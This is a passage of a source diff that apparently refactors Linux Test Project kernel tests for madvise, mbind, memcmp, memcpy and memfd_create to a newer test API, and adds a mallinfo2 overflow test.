 	int page_fault_num_1, page_fault_num_2;
@@ -207,23 +202,32 @@
 		"%s than %ld Kb were moved to the swap cache",
 		res ? "more" : "less", PASS_THRESHOLD_KB);
 
-
-	TEST(madvise(target, PASS_THRESHOLD, MADV_WILLNEED));
+	loops = 100;
+	SAFE_FILE_LINES_SCANF("/proc/meminfo", "SwapCached: %ld", &swapcached_start);
+	TEST(madvise(target, pg_sz * 3, MADV_WILLNEED));
 	if (TST_RET == -1)
 		tst_brk(TBROK | TTERRNO, "madvise failed");
+	do {
+		loops--;
+		usleep(100000);
+		if (stat_refresh_sup)
+			SAFE_FILE_PRINTF("/proc/sys/vm/stat_refresh", "1");
+		SAFE_FILE_LINES_SCANF("/proc/meminfo", "SwapCached: %ld",
+				&swapcached);
+	} while (swapcached < swapcached_start + pg_sz*3/1024 && loops > 0);
 
 	page_fault_num_1 = get_page_fault_num();
 	tst_res(TINFO, "PageFault(madvice / no mem access): %d",
 			page_fault_num_1);
-	dirty_pages(target, PASS_THRESHOLD);
+	dirty_pages(target, pg_sz * 3);
 	page_fault_num_2 = get_page_fault_num();
 	tst_res(TINFO, "PageFault(madvice / mem access): %d",
 			page_fault_num_2);
 	meminfo_diag("After page access");
 
 	res = page_fault_num_2 - page_fault_num_1;
-	tst_res(res < 3 ? TPASS : TFAIL,
-		"%d pages were faulted out of 2 max", res);
+	tst_res(res == 0 ? TPASS : TFAIL,
+		"%d pages were faulted out of 3 max", res);
 
 	SAFE_MUNMAP(target, CHUNK_SZ);
 }
@@ -231,17 +235,18 @@
 static struct tst_test test = {
 	.test_all = test_advice_willneed,
 	.setup = setup,
-	.cleanup = cleanup,
 	.min_kver = "3.10.0",
 	.needs_tmpdir = 1,
 	.needs_root = 1,
-	.save_restore = (const char * const[]) {
-		"?/proc/sys/vm/swappiness",
-		NULL
+	.save_restore = (const struct tst_path_val[]) {
+		{"?/proc/sys/vm/swappiness", NULL},
+		{}
 	},
+	.needs_cgroup_ctrls = (const char *const []){ "memory", NULL },
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "55231e5c898c"},
 		{"linux-git", "8de15e920dc8"},
+		{"linux-git", "66383800df9c"},
 		{}
 	}
 };
diff --git a/testcases/kernel/syscalls/madvise/madvise08.c b/testcases/kernel/syscalls/madvise/madvise08.c
index ff167da..10549f4 100644
--- a/testcases/kernel/syscalls/madvise/madvise08.c
+++ b/testcases/kernel/syscalls/madvise/madvise08.c
@@ -110,8 +110,7 @@
 
 	snprintf(dumpname, 256, "dump-%d", pid);
 	tst_res(TINFO, "Dump file should be %s", dumpname);
-	if (access(dumpname, F_OK))
-		tst_brk(TBROK | TERRNO, "Dump file was not found.");
+	SAFE_ACCESS(dumpname, F_OK);
 
 	dfd = SAFE_OPEN(dumpname, O_RDONLY);
 
@@ -213,8 +212,8 @@
 	.needs_tmpdir = 1,
 	.needs_root = 1,
 	.forks_child = 1,
-	.save_restore = (const char * const[]) {
-		CORE_PATTERN,
-		NULL,
+	.save_restore = (const struct tst_path_val[]) {
+		{CORE_PATTERN, NULL},
+		{}
 	},
 };
diff --git a/testcases/kernel/syscalls/mallinfo/mallinfo_common.h b/testcases/kernel/syscalls/mallinfo/mallinfo_common.h
index a00cc7a..5c7484c 100644
--- a/testcases/kernel/syscalls/mallinfo/mallinfo_common.h
+++ b/testcases/kernel/syscalls/mallinfo/mallinfo_common.h
@@ -1,8 +1,10 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
+ * Copyright (C) 2020 Free Software Foundation, Inc.
  * Copyright (c) 2021 FUJITSU LIMITED. All rights reserved.
  * Author: Yang Xu <xuyang2018.jy@cn.fujitsu.com>
  */
+
 #ifndef MALLINFO_COMMON_H
 #define MALLINFO_COMMON_H
 
@@ -13,7 +15,8 @@
 #ifdef HAVE_MALLINFO
 static inline void print_mallinfo(const char *msg, struct mallinfo *m)
 {
-	tst_res(TINFO, "%s...", msg);
+	tst_res(TINFO, "%s", msg);
+
 #define P(f) tst_res(TINFO, "%s: %d", #f, m->f)
 	P(arena);
 	P(ordblks);
@@ -28,4 +31,23 @@
 }
 #endif
 
+#ifdef HAVE_MALLINFO2
+static inline void print_mallinfo2(const char *msg, struct mallinfo2 *m)
+{
+	tst_res(TINFO, "%s", msg);
+
+#define P2(f) tst_res(TINFO, "%s: %ld", #f, m->f)
+	P2(arena);
+	P2(ordblks);
+	P2(smblks);
+	P2(hblks);
+	P2(hblkhd);
+	P2(usmblks);
+	P2(fsmblks);
+	P2(uordblks);
+	P2(fordblks);
+	P2(keepcost);
+}
+#endif
+
 #endif
diff --git a/testcases/kernel/syscalls/mallinfo2/.gitignore b/testcases/kernel/syscalls/mallinfo2/.gitignore
new file mode 100644
index 0000000..349222c
--- /dev/null
+++ b/testcases/kernel/syscalls/mallinfo2/.gitignore
@@ -0,0 +1 @@
+/mallinfo2_01
diff --git a/testcases/kernel/syscalls/mallinfo2/Makefile b/testcases/kernel/syscalls/mallinfo2/Makefile
new file mode 100644
index 0000000..55b2315
--- /dev/null
+++ b/testcases/kernel/syscalls/mallinfo2/Makefile
@@ -0,0 +1,11 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2001
+# Copyright (c) 2021 FUJITSU LIMITED. All rights reserved.
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+CFLAGS += -I$(abs_srcdir)/../mallinfo
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/mallinfo2/mallinfo2_01.c b/testcases/kernel/syscalls/mallinfo2/mallinfo2_01.c
new file mode 100644
index 0000000..90cf4fc
--- /dev/null
+++ b/testcases/kernel/syscalls/mallinfo2/mallinfo2_01.c
@@ -0,0 +1,51 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 FUJITSU LIMITED. All rights reserved.
+ * Author: Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Basic mallinfo2() test.
+ *
+ * Test hblkhd member of struct mallinfo2 whether overflow when setting 2G size.
+ *
+ * Deprecated mallinfo() overflow in this case, that was the point for creating
+ * mallinfo2().
+ */
+
+#include "mallinfo_common.h"
+#include "tst_safe_macros.h"
+
+#ifdef HAVE_MALLINFO2
+
+void test_mallinfo2(void)
+{
+	struct mallinfo2 info;
+	char *buf;
+	size_t size = 2UL * 1024UL * 1024UL * 1024UL;
+
+	buf = malloc(size);
+
+	if (!buf)
+		tst_brk(TCONF, "Current system can not malloc 2G space, skip it");
+
+	info = mallinfo2();
+	if (info.hblkhd < size) {
+		print_mallinfo2("Test malloc 2G", &info);
+		tst_res(TFAIL, "hblkhd member of struct mallinfo2 overflow?");
+	} else {
+		tst_res(TPASS, "hblkhd member of struct mallinfo2 doesn't overflow");
+	}
+
+	free(buf);
+}
+
+static struct tst_test test = {
+	.test_all = test_mallinfo2,
+};
+
+#else
+TST_TEST_TCONF("system doesn't implement non-POSIX mallinfo2()");
+#endif
diff --git a/testcases/kernel/syscalls/mbind/mbind01.c b/testcases/kernel/syscalls/mbind/mbind01.c
index bc713d7..5f3c5d7 100644
--- a/testcases/kernel/syscalls/mbind/mbind01.c
+++ b/testcases/kernel/syscalls/mbind/mbind01.c
@@ -17,6 +17,8 @@
 #include "config.h"
 #include "numa_helper.h"
 #include "tst_test.h"
+#include "tst_numa.h"
+#include "lapi/numaif.h"
 
 #ifdef HAVE_NUMA_V2
 
@@ -32,6 +34,7 @@
 static void test_default(unsigned int i, char *p);
 static void test_none(unsigned int i, char *p);
 static void test_invalid_nodemask(unsigned int i, char *p);
+static void check_policy_pref_or_local(int);
 
 struct test_case {
 	int policy;
@@ -39,6 +42,7 @@
 	unsigned flags;
 	int ret;
 	int err;
+	void (*check_policy)(int);
 	void (*test)(unsigned int, char *);
 	struct bitmask **exp_nodemask;
 };
@@ -88,6 +92,7 @@
 		.ret = 0,
 		.err = 0,
 		.test = test_none,
+		.check_policy = check_policy_pref_or_local,
 	},
 	{
 		POLICY_DESC(MPOL_PREFERRED),
@@ -97,6 +102,20 @@
 		.exp_nodemask = &nodemask,
 	},
 	{
+		POLICY_DESC(MPOL_LOCAL),
+		.ret = 0,
+		.err = 0,
+		.test = test_none,
+		.exp_nodemask = &empty_nodemask,
+		.check_policy = check_policy_pref_or_local,
+	},
+	{
+		POLICY_DESC_TEXT(MPOL_LOCAL, "target exists"),
+		.ret = -1,
+		.err = EINVAL,
+		.test = test_default,
+	},
+	{
 		POLICY_DESC(UNKNOWN_POLICY),
 		.ret = -1,
 		.err = EINVAL,
@@ -117,6 +136,15 @@
 	},
 };
 
+static void check_policy_pref_or_local(int policy)
+{
+	if (policy != MPOL_PREFERRED && policy != MPOL_LOCAL) {
+		tst_res(TFAIL, "Wrong policy: %s(%d), "
+			"expected MPOL_PREFERRED or MPOL_LOCAL",
+			tst_mempolicy_mode_name(policy), policy);
+	}
+}
+
 static void test_default(unsigned int i, char *p)
 {
 	struct test_case *tc = &tcase[i];
@@ -168,6 +196,17 @@
 
 	tst_res(TINFO, "case %s", tc->desc);
 
+	if (tc->policy == MPOL_LOCAL) {
+		if ((tst_kvercmp(3, 8, 0)) < 0) {
+			tst_res(TCONF, "%s is not supported",
+				tst_mempolicy_mode_name(tc->policy));
+			return;
+		}
+
+		if ((tst_kvercmp(5, 14, 0)) >= 0)
+			tc->check_policy = NULL;
+	}
+
 	setup_node();
 
 	p = SAFE_MMAP(NULL, MEM_LENGTH, PROT_READ | PROT_WRITE, MAP_PRIVATE |
@@ -183,9 +222,13 @@
 			tst_res(TFAIL | TTERRNO, "get_mempolicy failed");
 			return;
 		}
-		if (tc->policy != policy) {
-			tst_res(TFAIL, "Wrong policy: %d, expected: %d",
-				tc->policy, policy);
+
+		if (tc->check_policy)
+			tc->check_policy(policy);
+		else if (tc->policy != policy) {
+			tst_res(TFAIL, "Wrong policy: %s(%d), expected: %s(%d)",
+				tst_mempolicy_mode_name(policy), policy,
+				tst_mempolicy_mode_name(tc->policy), tc->policy);
 			fail = 1;
 		}
 		if (tc->exp_nodemask) {
diff --git a/testcases/kernel/syscalls/mbind/mbind02.c b/testcases/kernel/syscalls/mbind/mbind02.c
index 01b3b3c..cd6a032 100644
--- a/testcases/kernel/syscalls/mbind/mbind02.c
+++ b/testcases/kernel/syscalls/mbind/mbind02.c
@@ -1,6 +1,5 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * SPDX-License-Identifier: GPL-2.0-or-later
- *
  * Copyright (c) 2019 Cyril Hrubis <chrubis@suse.cz>
  */
 
@@ -74,18 +73,18 @@
 	if (TST_RET != -1) {
 		tst_res(TFAIL,
 		        "mbind(%s, MPOL_MF_STRICT) node %u returned %li, expected -1",
-		        tst_numa_mode_name(mode), node, TST_RET);
+		        tst_mempolicy_mode_name(mode), node, TST_RET);
 		return;
 	}
 
 	if (TST_ERR == EIO) {
 		tst_res(TPASS | TTERRNO,
 		        "mbind(%s, MPOL_MF_STRICT) node %u",
-		        tst_numa_mode_name(mode), node);
+		        tst_mempolicy_mode_name(mode), node);
 	} else {
 		tst_res(TFAIL | TTERRNO,
 			"mbind(%s, MPOL_MF_STRICT) node %u expected EIO",
-		        tst_numa_mode_name(mode), node);
+		        tst_mempolicy_mode_name(mode), node);
 	}
 }
 
diff --git a/testcases/kernel/syscalls/mbind/mbind03.c b/testcases/kernel/syscalls/mbind/mbind03.c
index c0750c8..3d477c9 100644
--- a/testcases/kernel/syscalls/mbind/mbind03.c
+++ b/testcases/kernel/syscalls/mbind/mbind03.c
@@ -1,6 +1,5 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * SPDX-License-Identifier: GPL-2.0-or-later
- *
  * Copyright (c) 2019 Cyril Hrubis <chrubis@suse.cz>
  */
 
@@ -68,11 +67,11 @@
 	if (TST_RET) {
 		tst_res(TFAIL | TTERRNO,
 		        "mbind(%s, %s) node %u",
-		        tst_numa_mode_name(mode), mbind_flag_name(flag), node);
+		        tst_mempolicy_mode_name(mode), mbind_flag_name(flag), node);
 		goto exit;
 	} else {
 		tst_res(TPASS, "mbind(%s, %s) node %u succeded",
-		        tst_numa_mode_name(mode), mbind_flag_name(flag), node);
+		        tst_mempolicy_mode_name(mode), mbind_flag_name(flag), node);
 	}
 
 	tst_nodemap_reset_counters(nodes);
diff --git a/testcases/kernel/syscalls/mbind/mbind04.c b/testcases/kernel/syscalls/mbind/mbind04.c
index ea99666..5002883 100644
--- a/testcases/kernel/syscalls/mbind/mbind04.c
+++ b/testcases/kernel/syscalls/mbind/mbind04.c
@@ -1,6 +1,5 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * SPDX-License-Identifier: GPL-2.0-or-later
- *
  * Copyright (c) 2019 Cyril Hrubis <chrubis@suse.cz>
  */
 
@@ -61,12 +60,12 @@
 	if (TST_RET) {
 		tst_res(TFAIL | TTERRNO,
 		        "mbind(%s, %s) node %u",
-		        tst_numa_mode_name(mode), mbind_flag_name(flag), node);
+		        tst_mempolicy_mode_name(mode), mbind_flag_name(flag), node);
 		return;
 	}
 
 	tst_res(TPASS, "mbind(%s, %s) node %u",
-	        tst_numa_mode_name(mode), mbind_flag_name(flag), node);
+	        tst_mempolicy_mode_name(mode), mbind_flag_name(flag), node);
 
 	const char *prefix = "child: ";
 
diff --git a/testcases/kernel/syscalls/memcmp/memcmp01.c b/testcases/kernel/syscalls/memcmp/memcmp01.c
index 3b4b4e3..836cf40 100644
--- a/testcases/kernel/syscalls/memcmp/memcmp01.c
+++ b/testcases/kernel/syscalls/memcmp/memcmp01.c
@@ -1,237 +1,118 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
  *   Copyright (c) International Business Machines  Corp., 2002
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ *   01/02/2003	Port to LTP	avenkat@us.ibm.com
+ *   06/30/2001	Port to Linux	nsharoff@us.ibm.com
  */
 
-/* 01/02/2003	Port to LTP	avenkat&us.ibm.com */
-/* 06/30/2001	Port to Linux	nsharoff@us.ibm.com */
-
-/*
- * NAME
- *	memcmp1 -- buffer  compare
+/*\
+ * [Description]
  *
- * CALLS
- *	memcmp(3)
- *
- * ALGORITHM
- *	Check boundary conditions.
- *
- * RESTRICTIONS
+ * The testcase for buffer comparison by check boundary conditions.
  */
 
 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
 #include <string.h>
-#include <errno.h>
+#include "tst_test.h"
 
-#include "test.h"
-
-char *TCID = "memcmp1";
-
-#undef  BSIZE
 #define BSIZE	4096
 #define LEN	100
-#define FAILED 0
-#define PASSED 1
 
 char buf[BSIZE];
 
-int local_flag = PASSED;
-int block_number;
-FILE *temp;
-int TST_TOTAL = 2;
-int anyfail();
-int blenter();
-int blexit();
-int instress();
+static struct test_case {
+	char *p;
+	char *q;
+	int len;
+} tcases[] = {
+	{&buf[100], &buf[800], LEN},
+	{&buf[800], &buf[100], LEN},
+};
 
-void setup();
-
-void clearit();
-void fill(char *str);
-int checkit(char *str);
-
-int main(int argc, char *argv[])
+static void fill(char *str, int len)
 {
-	char *p, *q;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-	blenter();
-
-	clearit();
-
-	p = &buf[100];
-	q = &buf[800];
-
-	fill(p);
-	fill(q);
-
-	if (memcmp(p, q, LEN)) {
-		fprintf(temp, "\tmemcmp fails - should have succeeded.\n");
-		local_flag = FAILED;
-	}
-
-	p[LEN - 1] = 0;
-
-	if (!memcmp(p, q, LEN)) {
-		fprintf(temp, "\tmemcmp succeeded - should have failed.\n");
-		local_flag = FAILED;
-	};
-
-	p[LEN - 1] = 'a';
-	p[0] = 0;
-
-	if (!memcmp(p, q, LEN)) {
-		fprintf(temp, "\tmemcmp succeeded - should have failed.\n");
-		local_flag = FAILED;
-	};
-
-	p[0] = 'a';
-	q[LEN - 1] = 0;
-
-	if (!memcmp(p, q, LEN)) {
-		fprintf(temp, "\tmemcmp succeeded - should have failed.\n");
-		local_flag = FAILED;
-	};
-
-	q[LEN - 1] = 'a';
-	q[0] = 0;
-
-	if (!memcmp(p, q, LEN)) {
-		fprintf(temp, "\tmemcmp succeeded - should have failed.\n");
-		local_flag = FAILED;
-	};
-
-	q[0] = 'a';
-
-	if (memcmp(p, q, LEN)) {
-		fprintf(temp, "\tmemcmp fails - should have succeeded.\n");
-		local_flag = FAILED;
-	}
-
-	blexit();
-/*--------------------------------------------------------------*/
-	blenter();
-
-	clearit();
-
-	p = &buf[800];
-	q = &buf[100];
-
-	fill(p);
-	fill(q);
-
-	if (memcmp(p, q, LEN)) {
-		fprintf(temp, "\tmemcmp fails - should have succeeded.\n");
-		local_flag = FAILED;
-	}
-
-	p[LEN - 1] = 0;
-
-	if (!memcmp(p, q, LEN)) {
-		fprintf(temp, "\tmemcmp succeeded - should have failed.\n");
-		local_flag = FAILED;
-	};
-
-	p[LEN - 1] = 'a';
-	p[0] = 0;
-
-	if (!memcmp(p, q, LEN)) {
-		fprintf(temp, "\tmemcmp succeeded - should have failed.\n");
-		local_flag = FAILED;
-	};
-
-	p[0] = 'a';
-	q[LEN - 1] = 0;
-
-	if (!memcmp(p, q, LEN)) {
-		fprintf(temp, "\tmemcmp succeeded - should have failed.\n");
-		local_flag = FAILED;
-	};
-
-	q[LEN - 1] = 'a';
-	q[0] = 0;
-
-	if (!memcmp(p, q, LEN)) {
-		fprintf(temp, "\tmemcmp succeeded - should have failed.\n");
-		local_flag = FAILED;
-	};
-
-	q[0] = 'a';
-
-	if (memcmp(p, q, LEN)) {
-		fprintf(temp, "\tmemcmp fails - should have succeeded.\n");
-		local_flag = FAILED;
-	}
-
-	blexit();
-
-	anyfail();
-	tst_exit();
+	register int i;
+	for (i = 0; i < len; i++)
+		*str++ = 'a';
 }
 
-void clearit(void)
+static void setup(void)
 {
 	register int i;
 
 	for (i = 0; i < BSIZE; i++)
 		buf[i] = 0;
+
+	return;
 }
 
-void fill(char *str)
+static void verify_memcmp(char *p, char *q, int len)
 {
-	register int i;
-	for (i = 0; i < LEN; i++)
-		*str++ = 'a';
+	fill(p, len);
+	fill(q, len);
+
+	if (memcmp(p, q, len)) {
+		tst_res(TFAIL, "memcmp fails - should have succeeded.");
+		goto out;
+	}
+
+	p[len - 1] = 0;
+
+	if (memcmp(p, q, len) >= 0) {
+		tst_res(TFAIL, "memcmp succeeded - should have failed.");
+		goto out;
+	};
+
+	p[len - 1] = 'a';
+	p[0] = 0;
+
+	if (memcmp(p, q, len) >= 0) {
+		tst_res(TFAIL, "memcmp succeeded - should have failed.");
+		goto out;
+	};
+
+	p[0] = 'a';
+	q[len - 1] = 0;
+
+	if (memcmp(p, q, len) <= 0) {
+		tst_res(TFAIL, "memcmp succeeded - should have failed.");
+		goto out;
+	};
+
+	q[len - 1] = 'a';
+	q[0] = 0;
+
+	if (memcmp(p, q, len) <= 0) {
+		tst_res(TFAIL, "memcmp succeeded - should have failed.");
+		goto out;
+	};
+
+	q[0] = 'a';
+
+	if (memcmp(p, q, len)) {
+		tst_res(TFAIL, "memcmp fails - should have succeeded.");
+		goto out;
+	}
+
+	tst_res(TPASS, "Test passed");
+out:
+	return;
 }
 
-int checkit(char *str)
+static void run_test(unsigned int nr)
 {
-	register int i;
-	for (i = 0; i < LEN; i++)
-		if (*str++ != 'a')
-			return (-1);
+	struct test_case *tc = &tcases[nr];
 
-	return (0);
+	verify_memcmp(tc->p, tc->q, tc->len);
+
+	return;
 }
 
-int anyfail(void)
-{
-	tst_exit();
-}
-
-void setup(void)
-{
-	temp = stderr;
-}
-
-int blenter(void)
-{
-	local_flag = PASSED;
-	return 0;
-}
-
-int blexit(void)
-{
-	(local_flag == FAILED) ? tst_resm(TFAIL,
-					  "Test failed") : tst_resm(TPASS,
-								    "Test passed");
-	return 0;
-}
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.setup = setup,
+	.test = run_test,
+};
diff --git a/testcases/kernel/syscalls/memcpy/memcpy01.c b/testcases/kernel/syscalls/memcpy/memcpy01.c
index 1212465..0b64d70 100644
--- a/testcases/kernel/syscalls/memcpy/memcpy01.c
+++ b/testcases/kernel/syscalls/memcpy/memcpy01.c
@@ -1,41 +1,15 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
  *   Copyright (c) International Business Machines  Corp., 2002
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ *   01/02/2003	Port to LTP	avenkat@us.ibm.com
+ *   06/30/2001	Port to Linux	nsharoff@us.ibm.com
  */
 
-/* 01/02/2003	Port to LTP	avenkat@us.ibm.com */
-/* 06/30/2001	Port to Linux	nsharoff@us.ibm.com */
-
-/*
- * NAME
- *	memcpy  --  test memcpy
+/*\
+ * [Description]
  *
- * CALLS
- *	memcpy1(3)
- *
- * ALGORITHM
- *	There are 2 cases for copies:  S = Source, D = Destination
- *
- *	  1 - S < D no overlap
- *	  2 - D < S no overlap
- *
- *	We try both cases.  Check buffer boundaries.
- *
- * RESTRICTIONS
+ * The testcase for buffer copy by check boundary conditions.
  */
 
 #include <stdio.h>
@@ -44,99 +18,14 @@
 #include <string.h>
 #include <errno.h>
 
-#include "test.h"
+#include "tst_test.h"
 
-char *TCID = "memcpy1";
-
-#undef  BSIZE
 #define BSIZE	4096
 #define LEN	100
-#define FAILED 0
-#define PASSED 1
 
-int local_flag = PASSED;
-int block_number;
-FILE *temp;
-int TST_TOTAL = 1;
 char buf[BSIZE];
 
-
-int anyfail();
-int blenter();
-int blexit();
-
-void setup();
-void clearit();
-void fill(char *str);
-int checkit(char *str);
-
-int main(int argc, char *argv[])
-{
-	char *p, *q;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();		/* temp file is now open        */
-/*--------------------------------------------------------------*/
-	blenter();
-
-	clearit();
-
-	p = &buf[100];
-
-	fill(p);
-	q = &buf[800];
-	memcpy(q, p, LEN);
-
-	if (checkit(q)) {
-		fprintf(temp, "\tcopy failed - missed data\n");
-		local_flag = FAILED;
-	}
-
-	if (p[-1] || p[LEN]) {
-		fprintf(temp, "\tcopy failed - 'to' bounds\n");
-		local_flag = FAILED;
-	}
-
-	if (q[-1] || q[LEN]) {
-		fprintf(temp, "\tcopy failed - 'from' bounds\n");
-		local_flag = FAILED;
-	}
-
-	blexit();
-/*--------------------------------------------------------------*/
-	blenter();
-
-	clearit();
-
-	p = &buf[800];
-
-	fill(p);
-	q = &buf[100];
-	memcpy(q, p, LEN);
-
-	if (checkit(q)) {
-		fprintf(temp, "\tcopy failed - missed data\n");
-		local_flag = FAILED;
-	}
-
-	if (p[-1] || p[LEN]) {
-		fprintf(temp, "\tcopy failed - 'to' bounds\n");
-		local_flag = FAILED;
-	}
-
-	if (q[-1] || q[LEN]) {
-		fprintf(temp, "\tcopy failed - 'from' bounds\n");
-		local_flag = FAILED;
-	}
-
-	blexit();
-
-	anyfail();
-	tst_exit();
-}
-
-void clearit(void)
+static void clearit(void)
 {
 	register int i;
 
@@ -144,46 +33,76 @@
 		buf[i] = 0;
 }
 
-void fill(char *str)
+static void fill(char *str, int len)
 {
 	register int i;
-	for (i = 0; i < LEN; i++)
+	for (i = 0; i < len; i++)
 		*str++ = 'a';
 }
 
-int checkit(char *str)
+static int checkit(char *str, int len)
 {
 	register int i;
-	for (i = 0; i < LEN; i++)
+	for (i = 0; i < len; i++)
 		if (*str++ != 'a')
 			return (-1);
 
-	return (0);
-}
-
-int anyfail(void)
-{
-	(local_flag == FAILED) ? tst_resm(TFAIL,
-					  "Test failed") : tst_resm(TPASS,
-								    "Test passed");
-	tst_exit();
-}
-
-void setup(void)
-{
-	temp = stderr;
-}
-
-int blenter(void)
-{
-	local_flag = PASSED;
 	return 0;
 }
 
-int blexit(void)
+static struct test_case {
+	char *p;
+	char *q;
+	int len;
+} tcases[] = {
+	{&buf[100], &buf[800], LEN},
+	{&buf[800], &buf[100], LEN},
+};
+
+static void setup(void)
 {
-	(local_flag == FAILED) ? tst_resm(TFAIL,
-					  "Test failed") : tst_resm(TPASS,
-								    "Test passed");
-	return 0;
+	clearit();
+
+	return;
 }
+
+static void verify_memcpy(char *p, char *q, int len)
+{
+	fill(p, len);
+	memcpy(q, p, LEN);
+
+	if (checkit(q, len)) {
+		tst_res(TFAIL, "copy failed - missed data");
+		goto out;
+	}
+
+	if (p[-1] || p[LEN]) {
+		tst_res(TFAIL, "copy failed - 'to' bounds");
+		goto out;
+	}
+
+	if (q[-1] || q[LEN]) {
+		tst_res(TFAIL, "copy failed - 'from' bounds");
+		goto out;
+	}
+
+	tst_res(TPASS, "Test passed");
+out:
+	return;
+}
+
+static void run_test(unsigned int nr)
+{
+	struct test_case *tc = &tcases[nr];
+
+	clearit();
+	verify_memcpy(tc->p, tc->q, tc->len);
+
+	return;
+}
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.setup = setup,
+	.test = run_test,
+};
diff --git a/testcases/kernel/syscalls/memfd_create/memfd_create03.c b/testcases/kernel/syscalls/memfd_create/memfd_create03.c
index 036182f..2f33fea 100644
--- a/testcases/kernel/syscalls/memfd_create/memfd_create03.c
+++ b/testcases/kernel/syscalls/memfd_create/memfd_create03.c
@@ -32,14 +32,6 @@
 #include <stdio.h>
 #include <errno.h>
 
-#define TOTAL_HP_PATH "/proc/sys/vm/nr_hugepages"
-#define MEMINFO_PATH "/proc/meminfo"
-#define FREE_HP "HugePages_Free:\t%ld"
-#define DEFAULT_HPS "Hugepagesize:\t%ld kB"
-
-static int hugepages_allocated;
-static long og_total_pages;
-
 static void *check_huge_mmapable(int fd, unsigned long size)
 {
 	void *mem;
@@ -88,7 +80,7 @@
 	long hps;
 	void *mem;
 
-	SAFE_FILE_LINES_SCANF(MEMINFO_PATH, DEFAULT_HPS, &hps);
+	hps = SAFE_READ_MEMINFO("Hugepagesize:");
 	hps = hps << 10;
 	unmap_size = hps / 4;
 	mem = check_huge_mmapable(fd, hps);
@@ -128,8 +120,8 @@
 	void *mem;
 	void *new_mem;
 
-	SAFE_FILE_LINES_SCANF(MEMINFO_PATH, FREE_HP, &free_pages);
-	SAFE_FILE_LINES_SCANF(MEMINFO_PATH, DEFAULT_HPS, &hps);
+	free_pages = SAFE_READ_MEMINFO("HugePages_Free:");
+	hps = SAFE_READ_MEMINFO("Hugepagesize:");
 	hps = hps << 10;
 	mem = check_huge_mmapable(fd, free_pages * hps);
 
@@ -188,68 +180,10 @@
 	SAFE_CLOSE(fd);
 }
 
-static void setup(void)
-{
-	char buf[8];
-	int fd;
-	long free_pages;
-	long total_pages;
-
-	if (access(MEMINFO_PATH, F_OK) ||
-	    access("/sys/kernel/mm/hugepages", F_OK) ||
-	    access(TOTAL_HP_PATH, F_OK))
-		tst_brk(TCONF, "Huge page is not supported");
-
-	SAFE_FILE_LINES_SCANF(MEMINFO_PATH, FREE_HP, &free_pages);
-	if (free_pages > 0)
-		return;
-
-	SAFE_FILE_LINES_SCANF(TOTAL_HP_PATH, "%ld", &og_total_pages);
-	sprintf(buf, "%ld", og_total_pages + 1);
-
-	fd = SAFE_OPEN(TOTAL_HP_PATH, O_RDWR | O_TRUNC);
-
-	if (write(fd, buf, strlen(buf)) == -1)
-		tst_brk(TCONF | TERRNO,
-			"write() fail: Hugepage allocation failed");
-
-	SAFE_CLOSE(fd);
-
-	SAFE_FILE_LINES_SCANF(TOTAL_HP_PATH, "%ld", &total_pages);
-	if (total_pages != (og_total_pages + 1))
-		tst_brk(TCONF, "Hugepage allocation failed");
-
-	hugepages_allocated = 1;
-}
-
-static void cleanup(void)
-{
-	char buf[8];
-	int fd;
-	long total_pages;
-
-	if (hugepages_allocated == 0)
-		return;
-
-	sprintf(buf, "%ld", og_total_pages);
-
-	fd = SAFE_OPEN(TOTAL_HP_PATH, O_RDWR | O_TRUNC);
-
-	if (write(fd, buf, strlen(buf)) == -1)
-		tst_brk(TCONF | TERRNO, "Clean-up failed: write() failed");
-
-	SAFE_CLOSE(fd);
-
-	SAFE_FILE_LINES_SCANF(TOTAL_HP_PATH, "%ld", &total_pages);
-	if (og_total_pages != total_pages)
-		tst_brk(TCONF, "Clean-up failed");
-}
-
 static struct tst_test test = {
-	.setup = setup,
 	.test = memfd_huge_controller,
 	.tcnt = ARRAY_SIZE(tcases),
 	.needs_root = 1,
 	.min_kver = "4.14",
-	.cleanup = cleanup,
+	.hugepages = {1, TST_NEEDS},
 };
diff --git a/testcases/kernel/syscalls/memfd_create/memfd_create04.c b/testcases/kernel/syscalls/memfd_create/memfd_create04.c
index dc6e195..7b699b2 100644
--- a/testcases/kernel/syscalls/memfd_create/memfd_create04.c
